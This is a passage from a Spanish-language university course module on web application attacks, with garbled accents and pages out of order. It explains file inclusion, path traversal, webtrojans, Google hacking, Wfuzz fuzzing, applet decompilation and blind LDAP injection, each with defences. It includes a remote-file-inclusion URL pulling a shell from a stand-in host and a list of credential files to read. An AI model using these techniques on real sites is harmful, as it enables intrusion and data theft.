de ldquolearn wordsrdquo de modo que cuando se extrae el nombre de un nodo ele-
mento o atributo se guarda en una lista Cuando se encuentre otro nodoele-
mentoatributo de una longitud de nombre igual a la de alguacuten elemento ya
extraiacutedo hacer comprobaciones con los nodos ya conocidos pues es probable
que si tienen la misma longitud tengan el mismo nombre
En la siguiente imagen se muestra una herramienta en funcionamiento una
vez descargado el aacuterbol XML de una aplicacioacuten web vulnerable
Figura 41 Aacuterbol XML extraiacutedo mediante una aplicacioacutenautomatizada
232 iquestCoacutemo protegerse de teacutecnicas de XPath Injection
La proteccioacuten contra este tipo de teacutecnicas es muy simple y debe correr de
la mano del programador de la aplicacioacuten Uacutenicamente hay que realizar un
filtrado de las entradas teniendo en cuenta dos factores
bull Si la entrada es numeacuterica antes de formar la query comprobar que el valor
introducido en la entrada es un valor numeacuterico y no una cadena de texto
bull Si la entrada es de texto remplazar los caracteres peligrosos como la comi-
lla simple y doble por rsquo y rdquo
CC-BY-NC-ND bull PID_00191662 54 Ataques a aplicaciones web
3 Ataques de Path Transversal
Mediante las teacutecnicas de Path Transversal se va a lograr acceder a in-
formacioacuten referente al servidor desde simplemente el directorio donde
se estaacute ejecutando la aplicacioacuten web hasta lograr descargar ficheros del
servidor Cada uno de estos fallos recibe un nombre y lo estudiaremos
por separado
La informacioacuten obtenida puede ser usada por un atacante para lograr acceder
a otros recursos de la paacutegina mediante alguacuten tipo de ingenieriacutea social o dedu-
ciendo posibles nombres de ficheros yo carpetas para posteriormente acceder
a ellos
Vamos a analizar desde los menos peligrosos hasta los maacutes criacuteticos viendo
coacutemo unos se apoyan en los anteriores y coacutemo en cierta medida dependen
unos de los otros y realmente estaacuten muy relacionados entre siacute
31 Path Disclosure
Este problema no es especiacutefico de una tecnologiacutea sino que puede darse en
cualquier lenguaje de programacioacuten y en cualquier tecnologiacutea de servidor Es-
ta vulnerabilidad no es criacutetica por siacute misma pero puede facilitar las cosas a
un atacante que intente cualquiera de los fallos que se comentaraacuten posterior-
mente
El concepto es lograr conocer la ruta en la que se estaacute ejecutando la apli-
cacioacuten Para ello nos valdremos de mensajes de error (provocados o no)
que contengan rutas a ficheros Esto lo lograremos introduciendo carac-
teres erroacuteneos en los paraacutemetros o accediendo a rutas que no existan
Figura 42 Fallo de Path Disclosure
CC-BY-NC-ND bull PID_00191662 55 Ataques a aplicaciones web
Este mensaje de error puede darse al intentar reproducir cualquiera de los de-
maacutes fallos explicados en esta seccioacuten Normalmente los lenguajes de progra-
macioacuten del lado del servidor si no tienen los errores controlados mostraraacuten
un mensaje de error predefinido que usualmente contiene la ruta del fichero
afectado
Evitar este tipo de errores es tan sencillo como generar nuestras propias paacutegi-
nas de error Tambieacuten controlar cualquier tipo de excepcioacuten en el coacutedigo es
buena praacutectica En definitiva no dejar que los mensajes por defecto se mues-
tren nunca al usuario
CC-BY-NC-ND bull PID_00191662 56 Ataques a aplicaciones web
4 Ataques de inyeccioacuten de ficheros
41 Remote file inclusion
Remote file inclusion es la vulnerabilidad consistente en ejecutar coacutedigo
remoto dentro de la aplicacioacuten vulnerable Se basa en la idea de que al
igual que es posible cargar un fichero local para su inclusioacuten dentro de la
paacutegina podriacuteamos cargar uno remoto que contuviese coacutedigo malicioso
Esto es posible en lenguajes interpretados donde podemos incluir un fichero
con coacutedigo y antildeadirlo a la ejecucioacuten En el siguiente ejemplo se toma como
base una paacutegina programada en PHP
httpwwwmipaginacommostrarphppag=indexphp
PHP hace uso de funciones que permiten la inclusioacuten de ficheros externos
para generar paacuteginas maacutes complejas y maacutes completas En el hipoteacutetico ejemplo
anterior el fichero mostrarphp hariacutea uso de alguna de estas funciones de PHP
que permiten la inclusioacuten dinaacutemica de ficheros
bull include($pag)
bull require($pag)
bull include_once($pag)
bull require_once($pag)
Estas funciones reciben un paraacutemetro (llamado $pag en este ejemplo) que in-
dica la ruta del fichero que ha de incluirse Si la variable pag no estaacute suficien-
temente controlada podremos hacer una llamada a un fichero externo que se
descargaraacute e interpretaraacute en el lado del servidor
httpwwwmipaginacommostrarphppag=httpmalocomshelltxt
En la llamada anterior el servidor mipaginacom solicitaraacute a malocom el
fichero shelltxt que incluiraacute coacutedigo PHP vaacutelido que se ejecutaraacute en
mipaginacom
Este fallo se debe a una mala configuracioacuten del servidor PHP el cual permite la
inclusioacuten de ficheros externos La configuracioacuten correcta deberiacutea ser la prohi-
bicioacuten total de realizar estas acciones
CC-BY-NC-ND bull PID_00191662 57 Ataques a aplicaciones web
Para establecer una configuracioacuten adecuada en el inteacuterprete de PHP debemos
buscar el fichero phpini de configuracioacuten (en Linux suele estar en etc
php5phpini) y establecer la clave de configuracioacuten allow_url_include
a false
Este fallo de seguridad puede dar lugar a que un atacante logre ejecutar cual-
quier coacutedigo deseado en el servidor web con los riesgos que esto conlleva
Existen ficheros ya pregenerados para ser incluidos dentro del flujo de ejecu-
cioacuten de la aplicacioacuten web Van desde un simple inteacuterprete de comandos a una
completa shell equipada con su propio explorador de ficheros opciones pa-
ra subir o descargar ficheros e incluso la posibilidad de ejecutar programas en
el equipo remoto
Figura 43 Shell remota ejecutaacutendose
Existe una gran variedad de shells remotas que podemos encontrar en Internet
Por ejemplo la shell mostrada en la figura anterior se llama c99 aunque existen
otras como la r57 o c100 De todas maneras siempre podemos programarnos
una propia con la funcionalidad que necesitemos
42 Local file inclusion
Esta vulnerabilidad al contrario que la anterior afecta tanto a lenguajes com-
pilados como interpretados Se basa en la posibilidad de incluir dentro de la
paacutegina un fichero local del usuario con el que se ejecuta el servidor de aplica-
ciones web que tenga permisos de lectura
Esta vulnerabilidad puede ocurrir en cualquier lugar de un sitio web pero suele
ser maacutes comuacuten en dos sitios bien diferenciados
bull Paacuteginas de plantillas carga un fichero desde otro y le da formato
CC-BY-NC-ND bull PID_00191662 58 Ataques a aplicaciones web
bull Paacuteginas de descargas recibe un paraacutemetro con el nombre del fichero a
descargar y lo enviacutea al cliente
El concepto tras ambos fallos es el mismo y las implementaciones defectuo-
sas a veces tambieacuten Para lograr explotar esta vulnerabilidad de una manera
satisfactoria deberiacuteamos poder hacer llamadas a ficheros fuera de la ruta ori-
ginal Esto lo hariacuteamos intentando incluir ficheros de un directorio superior
usando los caracteres en sistemas Linux o en sistemas Windows maacutes
el nombre de un fichero del que conozcamos su existencia Por ejemplo sos-
pechamos que la siguiente URL tiene un fallo de local file inclusion
httpwwwvictimacomnoticiasdetallephpid=4amptipo=deportesphp
Entonces para corroborarlo y determinar que efectivamente nos encontramos
frente a un fallo de remote file inclusion podriacuteamos modificar la URL hasta que
quedase como sigue
httpwwwvictimacomnoticiasdetallephpid=4amptipo=indexphp
Con esta simple comprobacioacuten podriacuteamos detectar si una paacutegina va a ser vul-
nerable a local file inclusion
Esta teacutecnica se puede ampliar (si los permisos lo permiten y no se aplica el
concepto del miacutenimo privilegio) a ficheros fuera del directorio de la aplicacioacuten
web y empezar a incluir ficheros del propio sistema operativo Esto nos per-
mitiraacute obtener maacutes informacioacuten sobre el equipo
Para localizar sin equivocaciones los ficheros podemos usar un fallo de Path
Disclosure para que nos deacute informacioacuten sobre la ruta local donde se ubican
estos De todas maneras y si no sabemos la ruta relativa de un fichero frente
a la paacutegina vulnerable podemos usar las rutas directas4
Existen muchos ficheros interesantes a los que acceder mediante esta teacutecnica
dependiendo de los objetivos del atacante Ademaacutes estos variaraacuten entre distin-
tos sistemas operativos A continuacioacuten se detallan algunos de estos ficheros
como muestra de la informacioacuten que podemos llegar a obtener
bull etcpasswd Fichero de usuarios en sistemas Linux Contiene un com-
pendio de los usuarios existentes asiacute como datos relativos a ellos como
nombre o directorio del home
bull etchosts Permite guardar informacioacuten sobre equipos proacuteximos Suele
contener una lista de nombre e IPS internos que nos permiten obtener una
mejor idea de la estructura interna de una organizacioacuten
bull CWindowsrepairSAM La SAM es el fichero que contiene los nombres
de usuarios y claves de los usuarios de un sistema Windows En la carpeta
(4)Una ruta directa es la que inclu-ye todo el nombre del fichero
CC-BY-NC-ND bull PID_00191662 59 Ataques a aplicaciones web
Repair se almacena una copia del fichero SAM para poder recuperarla en
caso de error del sistema
bull El propio fichero vulnerable Es muy instructivo descargar el propio fichero
vulnerable mediante el fallo de local file inclusion para poder aprender de
los problemas de otros
Para evitar que esta teacutecnica tenga mayor impacto es importante pensar en
montar el servidor con el miacutenimo privilegio posible limitando la posibilidad
de acceso a ficheros del servidor dentro de su propia carpeta con lo que lo-
gramos evitar el acceso a ficheros del sistema aunque no a ficheros propios
de la aplicacioacuten
Figura 44 Ejemplo de local file inclusion
Si queremos hacer una proteccioacuten mediante programacioacuten en lugar de contro-
larlo mediante permisos en el servidor hay que tener en cuenta que las rutas
a ficheros se pueden escribir de dos maneras
bull Directa Escribimos la ruta donde se encuentra el fichero directamente
Deberiacuteamos por tanto eliminar los caracteres o de los datos enviados
por los usuarios
bull Relativa Usamos la canonizacioacuten para subir hacia directorios superiores
mediante el uso de o Lo podriacuteamos evitar excluyendo ademaacutes
de lo anterior los puntos
43 Webtrojans
Una de las funcionalidades maacutes extendidas en paacuteginas web medianamente
complejas es la posibilidad de subir ficheros al servidor imaacutegenes documentos
en PDF ficheros de viacutedeo etc
Cuando un usuario nos enviacutea un fichero debemos comprobar que lo que nos
enviacutea es un fichero legiacutetimo es decir si estamos esperando la llegada de un
fichero con una imagen es necesario comprobar que lo que recibimos es real-
mente una imagen y no otro tipo de fichero
CC-BY-NC-ND bull PID_00191662 60 Ataques a aplicaciones web
Si no comprobamos los ficheros que se nos enviacutean podriacuteamos estar copiando
en nuestro servidor un fichero malintencionado conocido como webtrojan5
Existen multitud de shells remotas en distintos lenguajes a disposicioacuten de cual-
quiera Estas shells suelen ser detectadas por los antivirus para evitar que pasen
desapercibidas a administradores despistados pero pueden ser ldquocamufladasrdquo
dentro de otros ficheros
El ejemplo maacutes claro de coacutemo camuflar un fichero de estos es incluirlo tras
una cabecera de una imagen donde algunos servidores son capaces de ejecutar
el coacutedigo
Figura 45 Webtrojan oculto dentro de un fichero GIF
En la imagen anterior se puede ver coacutemo un fichero gif abierto con un visor
de textos deja a la vista coacutedigo PHP que va a generar una puerta trasera para
subir cualquier tipo de fichero
Para evitar este tipo de problemas debemos comprobar siempre no solo la ex-
tensioacuten sino tambieacuten la cabecera del fichero para corroborar que es del tipo
que nosotros hemos permitido Una buena praacutectica es la de establecer noso-
tros mediante programacioacuten la extensioacuten de los ficheros que se nos suben
evitando que alguien pueda subir un fichero y establecerlo con extensiones
como ASP o PHP
(5)Es una shell remota que pode-mos subir a un servidor aprove-chando un fallo de seguridad
CC-BY-NC-ND bull PID_00191662 61 Ataques a aplicaciones web
5 Google Hacking
Google indexa hoy en diacutea millones de paacuteginas web y no entiende de zonas
privadas ni restringidas Todo aquello que esteacute enlazado a alguacuten sitio y sea
accesible estaraacute en Google Si conocemos coacutemo funciona Google (y en general
los buscadores) podremos acceder a mucha informacioacuten que ni siquiera sus
propietarios saben que se encuentra ahiacute
Es por esta razoacuten por lo que saber coacutemo hacer preguntas a Google sobre la
informacioacuten que nos interesa es muy importante permitieacutendonos recopilar
mucha informacioacuten sobre un sitio web sin necesidad de realizar en principio
ninguna peticioacuten al servidor en cuestioacuten
Google ofrece varios filtros que nos permitiraacuten afinar la buacutesqueda que quere-
mos realizar y que combinados unos con otros alcanzan una potencia mucho
mayor
bull +ltpalabragt Incluir un + (maacutes) delante de una palabra requiere la presencia
obligatoria de esta palabra en las paacuteginas devueltas
bull -ltpalabragt Con un siacutembolo ndash (menos) delante de una palabra excluye
todos los resultados que contengan esa palabra
bull ldquoltpalabrasgtrdquo Al colocar una frase entre comillas dobles buscamos cadenas
completas de texto dentro de los resultados
bull Se puede usar el caraacutecter con el significado de que puede aparecer cual-
quier palabra dentro de una frase entrecomillada
bull intitlelttextogt Permite buscar en el tiacutetulo de la paacutegina
bull inurllttextogt Realiza las buacutesquedas en la URL de la paacutegina
bull intextlttextogt Busca el texto en el cuerpo de las paacuteginas devueltas
bull filetypeltextensioacutengt Restringe la buacutesqueda a la extensioacuten especifi-
cada
bull domainltdominiogt Limita los resultados al dominio especificado Se
puede usar solo el identificador del paiacutes (como es)
Con estos filtros y combinaacutendolos entre siacute podemos lograr encontrar cualquier
cosa que esteacute en Internet
CC-BY-NC-ND bull PID_00191662 62 Ataques a aplicaciones web
Figura 46 Resultados de la buacutesqueda +usersmdb intitlerdquoIndex ofrdquo
Google Hacking Database es una base de datos de buacutesquedas de corroborada
eficacia que permite obtener datos interesantes referentes a ficheros de confi-
guracioacuten zonas privadas dispositivos conectados a la red software vulnera-
ble etc
Usando este tipo de buacutesquedas se puede llegar a conocer muchiacutesimos datos
de un servidor Uno de los ejemplos maacutes claros es la posibilidad de localizar
subdominios de un dominio dado mediante buacutesquedas recursivas Vamos a
realizar un ejemplo para que quede demostrada la utilidad de estas teacutecnicas
Para empezar se selecciona un dominio en este caso se ha elegido el dominio
uoces y se ejecuta la siguiente buacutesqueda
siteuocedu
Esta buacutesqueda devuelve 587000 resultados Evidentemente todas estas paacutegi-
nas no pertenecen solo a un dominio sino que habraacute distintos sitios implica-
dos
El proceso es simple Consiste en ver cuaacutel es el subdominio del primer resul-
tado devuelto y antildeadirlo con un siacutembolo ndash (menos) delante Por ejemplo
-www siteuoces
Excluyendo el subdominio www de las buacutesquedas obtendremos un nuacutemero de
paacuteginas devueltas de 631000 Siguiendo este proceso llegaremos hasta generar
una buacutesqueda que no nos devuelva ninguacuten resultado una aproximacioacuten seriacutea
la siguiente
-acc -rusc -elcrps -blogs -personal -eprints -cataleg -osrt -clab -unescochair -elearning
-multimedia -edulab -net -itol -gres -red -lletra -laboralcentrodearte -lpg -elconcept
-biblioteca -comein -foto -guatemala -einflinux1 -cicr -campus -icesd -laos -xequia
CC-BY-NC-ND bull PID_00191662 63 Ataques a aplicaciones web
-dpcs -cimanet -comoras -marroc -colleague -colloque -xina -macedonia -oliba -cv
-www -biblio siteuoces
Cabe recordar que hasta este momento y mediante esta teacutecnica en ninguacuten
momento se ha realizado ninguna peticioacuten directa hacia el dominio uoces
por lo que seriacutea imposible conocer quieacuten estaacute intentando averiguar informa-
cioacuten sobre nuestro dominio
Otras buacutesquedas que podemos encontrar aquiacute son las que nos pueden devolver
todos los ficheros ofimaacuteticos del servidor tales como ficheros doc xls pdf
etc
Estos ficheros en sus distintas versiones incluyen mayor o menor cantidad
de metadatos que tienen informacioacuten acerca de nombres de usuarios o rutas
locales del ordenador donde se generoacute el fichero Con toda esta informacioacuten
un atacante podriacutea empezar a utilizar un programa de fuerza bruta para inten-
tar sacar las contrasentildeas
CC-BY-NC-ND bull PID_00191662 64 Ataques a aplicaciones web
6 Seguridad por ocultacioacuten
Es habitual esconder una llave ldquode emergenciardquo en alguacuten lugar cercano a la
puerta de una casa para que dado el caso podamos entrar si hemos perdido
nuestra llave Evidentemente esto no es nada seguro pues cualquier persona
que la encuentre podraacute acceder al igual que nosotros a nuestra casa
Este siacutemil con la vida real sirve para enlazar la idea con una aplicacioacuten web
Es comuacuten entre los programadores web usar directorios especiacuteficos para acti-
vidades especiacuteficas como la administracioacuten las zonas de pruebas o la subida
de ficheros temporales Algunas de las maacutes comunes son
bull admin
bull logs
bull uploads
bull phpmyadmin
bull tmp
Estos directorios se pueden descubrir mediante pruebas manuales o haciendo
uso de alguacuten programa tipo fuzzer6 que realice las peticiones por nosotros
En este caso lo vamos a usar para automatizar la buacutesqueda de directorios con
nombres conocidos
Wfuzz es un programa de este tipo realiza conexiones a un servidor web sus-
tituyendo en la zona de la URL que nosotros especifiquemos una cadena de
texto que va cogiendo liacutenea tras liacutenea de un fichero de texto
Se puede descargar gratuitamente y lo vamos a usar para realizar una demos-
tracioacuten de los datos que se pueden llegar a obtener mediante esta herramienta
Vamos a aprender a usarla pues la sintaxis es simple
wfuzzexe -z file -f wordlistscommontxt --hc 404 httpwwwvictimacomFUZZ
La liacutenea anterior representa una ejecucioacuten tiacutepica del programa Wfuzz y nos va
a servir como ejemplo para determinar cuaacuteles son los paraacutemetros maacutes uacutetiles a la
hora de realizar un anaacutelisis mediante esta herramienta Con estos paraacutemetros
estaremos indicaacutendole al programa que
bull -z Use el payload de tipo fichero Esto es los nombres de las carpetas ocul-
tas que vamos a buscar se van a coger desde un fichero de texto
(6)Un programa fuzzer es un pro-grama que automatiza tareas repe-titivas
CC-BY-NC-ND bull PID_00191662 65 Ataques a aplicaciones web
bull -f El nombre del fichero que se va a usar En este caso hemos seleccionado
el fichero commontxt que acompantildea al programa y que contiene una lista
de los nombres maacutes comunes de directorios ocultos
bull --hc 404 El paraacutemetro hc nos permite eliminar resultados de la salida del
programa en base al coacutedigo HTTP que se devuelva En el ejemplo se ha
usado el coacutedigo 404 por ser el coacutedigo asociado a los errores en el protocolo
HTTP Tambieacuten se pueden establecer filtros por nuacutemero de liacuteneas (--hl) y
palabras (--hw) que contiene una paacutegina por si nos encontramos con un
servidor que devuelva siempre una paacutegina con coacutedigo 200
bull httpwwwvictimacomFUZZ Allaacute donde coloquemos la palabra fuzz se-
raacute donde el programa incluya en cada peticioacuten la palabra siguiente del fi-
chero especificado
Figura 47 Resultado de la ejecucioacuten del programa Wfuzz
En la imagen anterior apreciamos coacutemo el programa ha detectado una serie
de directorios en el servidor analizado De estos directorios los de ldquopasswordrdquo
y ldquotestrdquo pueden resultar interesantes para comenzar a realizar una revisioacuten de
seguridad
Otra manera de encontrar directorios y ficheros ocultos en una aplicacioacuten es la
buacutesqueda del fichero robotstxt Este fichero es usado por los administradores
de sitios web para evitar que Google y otros buscadores indexen zonas que
no desean
CC-BY-NC-ND bull PID_00191662 66 Ataques a aplicaciones web
Figura 48 Ejemplo de fichero robotstxt
El problema es que mucha gente no entiende completamente el concepto de
este fichero antildeadiendo a eacutel todas las rutas que no quieren que se indexen
aunque no esteacuten enlazados desde ninguacuten sitio (recordemos que los buscado-
res solo indexan si se realiza un enlace desde alguacuten sitio) Por ello podemos
encontrarnos con ficheros robotstxt que contienen referencias a zonas admi-
nistrativas de pruebas privadas
Otro fichero que puede darnos mucha informacioacuten y que al contrario de
los anteriores es informacioacuten puacuteblica es el fichero sitemapxml El fichero
sitemapxml es un fichero propuesto por Google como una manera de indi-
carle al buscador cuaacuteles son las paacuteginas maacutes interesantes de un sitio web y
cuaacuteles son las menos actualizadas Esta informacioacuten parece obvia y podemos
descubrirla nosotros mismos navegando por la paacutegina Sin embargo es de vital
importancia pues nos ahorra tiempo en navegar por el sitio y con una sola
peticioacuten obtenemos un esquema de la estructura del mismo A continuacioacuten
se muestra un ejemplo de un fichero sitemapxml
ltxml version=10 encoding=UTF-8gt
lturlset xmlns=httpwwwsitemapsorgschemassitemap09gt
lturlgt
ltlocgthttpwwwacomltlocgt
ltlastmodgt2005-01-01ltlastmodgt
ltchangefreqgtmonthlyltchangefreqgt
ltprioritygt08ltprioritygt
lturlgt
lturlgt
ltlocgthttpwwwacomnewsltlocgt
ltchangefreqgtweeklyltchangefreqgt
lturlgt
lturlgt
ltlocgthttpwwwacomarchiveltlocgt
ltlastmodgt2004-12-23ltlastmodgt
changefreqgtweeklyltchangefreqgt
CC-BY-NC-ND bull PID_00191662 67 Ataques a aplicaciones web
lturlgt
lturlgt ltlocgthttpwwwacomfaqltlocgt
ltlastmodgt2004-12-23T180015+0000ltlastmodgt
ltprioritygt03ltprioritygt
lturlgt
lturlgt ltlocgthttpwwwacomaboutltlocgt
ltlastmodgt2004-11-23ltlastmodgt
lturlgt
lturlsetgt
61 Descompiladores de applets web
611 Flash
Flash se ha puesto cada vez maacutes de moda como una manera de ofrecer una
interfaz atractiva al usuario final En la actualidad hay multitud de paacuteginas
que hacen un uso casi abusivo de esta tecnologiacutea Pero debemos tener en con-
sideracioacuten algo importante y es que Flash no es maacutes que la capa de presenta-
cioacuten sobre la capa de datos y nunca una uacutenica capa que se encarga de todo
aunque a veces ocurre
Es por ello por lo que estas paacuteginas en Flash si cargan datos dinaacutemicamente
han de llamar a paacuteginas que se los devuelvan en funcioacuten de los paraacutemetros
proporcionados Estos paraacutemetros podriacutean ser vulnerables a las inyecciones de
coacutedigo que se comentaron anteriormente Estas llamadas a ficheros externos
se pueden observar faacutecilmente usando un sniffer del protocolo HTTP
Un ejemplo claro de esto son las paacuteginas que usan un reproductor de audio
en Flash y en las que podemos descargar los ficheros mp3 sin necesidad de ver
el coacutedigo fuente del fichero Flash
CC-BY-NC-ND bull PID_00191662 68 Ataques a aplicaciones web
Figura 49 Captura del fichero mp3 reproducido desde unreproductor web
Tambieacuten es posible en ficheros Flash la descompilacioacuten de los ficheros dando
lugar a un pseudocoacutedigo legible que permitiriacutea a un atacante conocer coacutemo
actuacutea internamente el fichero Ademaacutes es posible convertir el coacutedigo a un en-
samblador de ActionScript7 que podemos modificar y volver a compilar daacuten-
donos la posibilidad por ejemplo de incluir coacutedigo Javascript dentro de un
fichero Flash
Existen muacuteltiples programas para realizar esta accioacuten y aquiacute vamos a mostrar
coacutemo realizar esto mediante el programa Flasm de descarga gratuita
La aplicacioacuten se ejecuta desde consola Recibe el paraacutemetro ndashd para descompi-
lar el fichero swf que recibe Al volcar el coacutedigo por pantalla necesitamos redi-
rigir hacia un fichero de texto la salida del programa En este ejemplo vamos
a realizar la accioacuten con un pequentildeo juego Flash
Figura 50 Ejecucioacuten del comando flasmexe
Este comando parsea el fichero swf y extrae el coacutedigo asociado a eacutel Logra
extraer el coacutedigo y convertirlo en un lenguaje parecido al ensamblador
(7)Es el lenguaje usado internamen-te para programar las aplicacio-nes Flash Tiene una sintaxis pare-cida a Javascript y es un lenguajeinterpretado lo cual significa quepodemos lograr extraer el coacutedigofuente original del fichero swf
CC-BY-NC-ND bull PID_00191662 69 Ataques a aplicaciones web
Figura 51 Volcado del coacutedigo del fichero swf
Conocer el coacutedigo fuente de un fichero swf nos puede ayudar a entender coacutemo
funciona la aplicacioacuten a buscar fallos de seguridad en el coacutedigo o a localizar las
URL a las que hace referencia para cargar informacioacuten dentro de la aplicacioacuten
Flash Una vez localizadas estas URL seriacutea cuestioacuten de probar sobre ellas los
fallos de seguridad comentados en capiacutetulos anteriores
612 Java
Al igual que con los ficheros Flash aunque con menos popularidad en la ac-
tualidad existen los llamados applets Java pequentildeas aplicaciones que se eje-
cutan dentro de nuestro navegador
Java se ejecuta sobre una maacutequina virtual se puede ejecutar el mismo coacutedigo
en cualquier ordenador que implemente la maacutequina virtual de Java Esto tiene
muchas ventajas a la hora de exportar nuestra aplicacioacuten Sin embargo esto
tambieacuten nos permite poder extraer el coacutedigo exactamente igual que lo haciacutea-
mos en Flash
Para realizar esta accioacuten existen programas que efectuacutean esta conversioacuten y nos
muestran el coacutedigo Java original En la captura siguiente el programa usado
es Java Decompiler un programa gratuito que nos permitiraacute realizar estas ac-
ciones
CC-BY-NC-ND bull PID_00191662 70 Ataques a aplicaciones web
Figura 52 Pantalla principal del Java Decompiler
613 NET
Microsoft ha sumado su plataforma NET a la web Existen las aplicaciones
ASPNET que se ejecutan del lado del servidor y que no vamos a poder auditar
maacutes allaacute de los paraacutemetros que reciba Sin embargo estaacute poco a poco expan-
dieacutendose una nueva tecnologiacutea llamada Silverlight Silverlight es un compila-
do NET que se carga desde el servidor mediante un plugin en nuestro navega-
dor Esto al igual que Flash y Java nos permite analizar el coacutedigo fuente de
la aplicacioacuten Silverlight
Figura 53 Aplicacioacuten de muestra de Silverlight
CC-BY-NC-ND bull PID_00191662 71 Ataques a aplicaciones web
En la captura anterior se puede observar una aplicacioacuten Silverlight muy simple
Nos va a solicitar usuario y contrasentildea para lograr entrar Esta aplicacioacuten estaacute
programada para que compruebe los datos introducidos con unos datos que
estaacuten escritos dentro de la aplicacioacuten Esto es un grave fallo de seguridad y
vamos a ver coacutemo analizar el fichero para sacar el usuario y la contrasentildea
vaacutelidos El detalle de coacutedigo Javascript seriacutea
Para descargar una aplicacioacuten Silverlight debemos localizar dentro del coacutedigo
HTML la seccioacuten de coacutedigo que realice la carga del fichero XAP Este fichero
contiene todo el coacutedigo de la aplicacioacuten Silverlight y seraacute lo que nuestro na-
vegador interprete
El fichero XAP contiene una serie de ficheros necesarios para la ejecucioacuten del
programa Estos ficheros son compilados de NET y pueden ser analizados me-
diante programas como NET Reflector Los ficheros contenidos en este fiche-
ro pueden ser extraiacutedos mediante el uso de cualquier programa descompresor
pues realmente es un fichero ZIP
Figura 54ndash Fichero xap descomprimido
Una vez descomprimido se nos muestran una serie de archivos Estos archivos
contienen informacioacuten referente a la interfaz usada por la aplicacioacuten pero
realmente los datos importantes se encuentran en el fichero Test001dll (en el
ejemplo actual) Este fichero puede ser descompilado mediante el programa
indicado anteriormente y acceder al coacutedigo fuente interno En este caso se
observan dos clases principales App y MainPage
CC-BY-NC-ND bull PID_00191662 72 Ataques a aplicaciones web
Figura 55 Detalle del programa descompilado
En la imagen anterior observamos coacutemo en la clase MainPage existe un meacuteto-
do btnOK_Click Este meacutetodo es el llamado cuando pulsamos sobre el botoacuten
de Entrar de la aplicacioacuten En el coacutedigo asociado vemos coacutemo se comprueba el
nombre de usuario con la cadena ldquotestrdquo y la clave con la cadena ldquomelonrdquo
Tanto Silverlight como los applets Java o las aplicaciones Flash son una mera
forma de poner un contenido de una manera maacutes vistosa para el usuario Sin
embargo a veces los desarrolladores web lo usan como un lenguaje de progra-
macioacuten web completamente vaacutelido algo que se ha demostrado muy inseguro
CC-BY-NC-ND bull PID_00191662 73 Ataques a aplicaciones web
Bibliografiacutea
Andreu A (2006) Professional Pen Testing for Web Applications Ed Wrox
Clarke J (2009) SQL Injection Attacks and defense E Syngress
Grossman J et al (2007) Xss Attacks Cross Site Scripting Exploits And Defense Ed Syngress
Scambray J Shema M and Sima C (2006) Hacking Expose Web Applications Ed Mc-Graw-HillOsborne Media
Stuttard D (2007) The Web Application Hackers Handbook Discovering and Exploiting Secu-rity Flaws Ed Wiley
CC-BY-NC-ND bull PID_00191662 45 Ataques a aplicaciones web
Figura 32 Atributo distinguisedname existe y tiene valor alfanumeacuterico
Como se puede ver hay diferencias entre las paacuteginas que devuelven datos y las
que no con lo que se puede automatizar la extraccioacuten de toda la informacioacuten
y el descubrimiento de los atributos simplemente comparando los resultados
HTML obtenidos
En la figura 33 se obtiene de nuevo un resultado positivo que confirma la
existencia de un atributo department
Figura 33 Atributo Department existe y tiene valor Unicode extraiacuteble
2)Fase2reduccioacutendelalfabeto
Una de las opciones que se pueden sopesar es realizar una reduccioacuten del al-
fabeto posible de valores en un campo La idea consiste en saber si existe o
no un determinado caraacutecter en un atributo Si el atributo tiene 15 caracteres
de longitud y tenemos que probar por ejemplo 28 letras por 15 caracteres
tendriacutean que realizarse un total de 420 peticiones para extraer la informacioacuten
Sin embargo se puede realizar un recorrido que nos diga si una letra pertene-
ce o no al valor De esa manera realizariacuteamos primero 28 peticiones que nos
dejaraacuten en el peor de los casos una letra distinta por cada posicioacuten es decir
15 letras Luego en el peor de los casos tendriacuteamos 15 letras x 15 posiciones
+ 28 peticiones de reduccioacuten del alfabeto es decir 253 peticiones Ademaacutes se
puede inferir que si una letra ya ha sido utilizada puede que no se vuelva a
utilizar con lo que tendriacuteamos una reduccioacuten auacuten mayor si la letra se utiliza
como uacuteltima opcioacuten dejando la probabilidad en un sumatorio de 115 + 28
es decir 148 peticiones
CC-BY-NC-ND bull PID_00191662 46 Ataques a aplicaciones web
Como conclusioacuten se puede obtener que la reduccioacuten del alfabeto es una buena
opcioacuten a la hora de extraer valores de campos
En los siguientes ejemplos vamos a ver coacutemo averiguar si un caraacutecter pertenece
o no al valor del campo
Figura 34 La letra b no pertenece al valor del atributo department porque no se obtienendatos
Figura 35 La letra n siacute que pertenece al valor del atributo department porque siacute que seobtienen datos
Esta reduccioacuten dejariacutea un conjunto de valores vaacutelidos que pueden emplearse
para extraer el valor del dato mediante un proceso de despliegue
3)Fase3despliegue
En esta fase una vez reducido el alfabeto hay que ordenar las letras obtenidas
para ello comenzaremos un proceso desde la primera posicioacuten
Figura 36 El valor de department no comienza por la letra a porque no se obtienen datos
CC-BY-NC-ND bull PID_00191662 47 Ataques a aplicaciones web
Se iraacuten probando letras hasta que se obtenga un resultado positivo que con-
firme que con ese patroacuten se devuelven datos
Figura 37 El valor de department siacute comienza por la letra f porque siacute se obtienen datos
Una vez descubierta la primera letra esta se mantendraacute fija y se procederaacute a
buscar la segunda letra sustituyendo siempre los caracteres obtenidos en la
fase de reduccioacuten del alfabeto
Figura 38 El valor de department no comienza por las letras fa porque no se obtienen datos
Figura 39 El valor de department siacute que comienza por las letras fi porque siacute que se obtienendatos
Este proceso se repetiriacutea con todos los atributos descubiertos y hasta que se
hubieran descubierto todas las letras permitiendo extraer informacioacuten oculta
de los objetos del aacuterbol LDAP
LDAP es una tecnologiacutea en expansioacuten cuya implantacioacuten en los sistemas de di-
rectorio y metadirectorio la hacen cada diacutea maacutes popular Los entornos intranet
realizan uso intensivo de esta tecnologiacutea para ofrecer sistemas de Single Sing-
On e incluso es comuacuten encontrar entornos LDAP en los servicios de Internet
CC-BY-NC-ND bull PID_00191662 48 Ataques a aplicaciones web
Esta popularidad hace que sea necesario incluir las pruebas anteriores dentro
de los procesos de auditoriacutea de seguridad de las aplicaciones web Las pruebas
de inyecciones de auditoriacutea que se estaban realizando hoy en diacutea siguiendo
la documentacioacuten existente son de poca ayuda pues en los entornos maacutes
comunes como ADAM u OpenLDAP no funcionan
La solucioacuten para proteger las aplicaciones frente a este tipo de inyecciones
consiste como en otros entornos de explotacioacuten en filtrar los paraacutemetros en-
viados desde el cliente En este caso filtrar operadores pareacutentesis y comodines
para que nunca un atacante sea capaz de inyectar loacutegica dentro de nuestra
aplicacioacuten
23 XPath
XPath es un lenguaje que permite la buacutesqueda de informacioacuten en do-
